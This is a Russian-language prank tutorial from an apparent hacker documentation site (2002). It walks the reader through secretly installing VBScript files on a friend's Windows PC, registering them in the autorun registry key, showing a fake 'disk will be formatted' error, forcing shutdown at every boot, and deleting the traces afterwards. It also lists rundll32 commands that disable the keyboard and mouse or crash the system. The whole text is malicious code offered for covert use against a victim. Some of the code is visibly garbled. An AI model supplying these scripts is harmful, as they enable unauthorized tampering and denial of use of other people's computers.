DocumentHome - документация для хакеров.
Заподло
Компьютерное заподло #3

Конечно же, у тебя есть друг,который часто хвастается своим компом,или ты просто над кем нить хочешь прикальнутся.К сожелению этот способ не причиняет вреда комьпьютеру и если твой друг средний программист врядле он испугается ,и этот способ немного сложно использовать. Хотя файл с приколом можно просто послать и после открытия чел испугается начнёт всё проверять антивиром и ничего не обнаружит.Но ты же не ищешь лёгких путей по этому после написания файла зайди к другу и пропеши везде где можно(автозапуске,реестре).
Ну ладно я тебя уже порядком достал приступим к делу. Нам нужно чтобы операционка поддерживала WSH он стандартно входит в Win95 OSR2/98/2k/Me/Xp.Если с этим всё норм то нам понадобится только блокнот(Notepad). И так открой блокнот и набери

Первый пример:
Hacker=MsgBox("Windows установила,что вы используете пиратскую версию системы. Windows обязана отфарматировать диск.
Да-сделать немедленно.
Нет-сделать ето перед оконьчанием работы системы",20,"System error") . теперь сохрани ето с расширением messedge.vbs у друга(предварительно у него же и набрав) или тайно скопируй c дискеты в c:\windows\systim после етого пропиши ето в автозагрузку и в реестр. Чтобы прописать его в реестр в меню пуск нажми выполнить и набери regedit ,раскрой ветвь HKEY_LOCAL_MACHINE\Softwere\Microsoft\Windows\cu rrentVersion\Run,затем в меню Правка(edit)->создать(new)строковой параметр(string value) и введи StartUp Script.Дважды щёлкни на новом параметре и введи путь к нашей массаге(например c:\windows\system\messadge.vbs) и нажми ок. После первой перезагрузке сообщение всплывёт сразу же,а ето совсем не интересно, так что подработаем нашу пагу.Например мы хотим чтоб она сработала в определённое время дополним нашу прогу:

if Day(now)>24 Then
..........
End if


Теперь сообщение появится только после 24 числа.За это время жертва забудет о тваём файле и не подумает на тебя.
На всякий случай можно совсем себя обезапасить от обнаружения опять дополним нашу пагу. Добавим строки для её удаления:

Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\Windows\System\messedge.vbs")


и для удаления записи в реестре:

Set WSHShell=WScript.CreateObject("WScript.Shell")
WSHShell.RegDelete"Hklm\Software\Microsoft\Windows\CurrentVersion\Run\StartUp Script"


Вот что получилось:

if Day(now)>24 Then
Hacker=MsgBox("Windows установила,что вы используете пиратскую версию системы. Windows обязана отфарматировать диск.Да-сделать немедленно.Нет-сделать ето перед оканьчанием работы системы",20,"system error")
End if
Set killer=CreateObject("Scripting.FileSystemObject")
killer.DeleteFile("c:\Windows\System\messedge.vbs")

Set WSHShell=WScript.CreateObject("WScript.Shell")
WSHShell.RegDelete"Hklm\Software\Microsoft\Windows\CurrentVersion\Run\StartUp Script"


Теперь пага появится один раз и исчезнет навсегда 24 числа.

Второй пример:
Ещё одно западло отрубающее комп после 24 числа
if Day(now)>24 Then
Sub Zapadlo(Fuck,Wait)
Set WShShell=WScript.CreateObject("WScript.Shell")
X=WshShell.Run(Fuck.Wait)
End Sub
Call Zapadlo("rundll32 shell32,SHExitWindowsEx-1",True)
End if


Помести ето,как и в прошлом примере,в реестр и сразу после загрузки комп будет вырубатся. Наверное,ты заметел,что в кавычках инструкции Call указана одна из команд Windows 9x,которую можно просто ввести в поле Выполнить(Run).Если ты ,напремер, поместишь в прогрмму строку:Call Zapadlo("c:\windows\calc.exe",True),то будет запускатся колькулятор. Вот список ещё некоторых команд:

rundll32 keyboard,disable-отключить клаву
rundll32 mouse,disable-отключить мышь
rundll32 user,swapmousebutton-поменять местами клавиши мыши
rundll32 user,disableoemlayer-спровоцировать сбой
rundll32 shell,SHExitWindowsEx 0-завершить работу текущего пользователя
rundll krnl386.exe,exitkernell-выход из Windows без любых сообщений/вопросов;


Кстати, инструкцию Call в последнем скрипте можно использовать множество раз то есть можно отрубить одновременно клаву и мышь.

Created by UnError 2002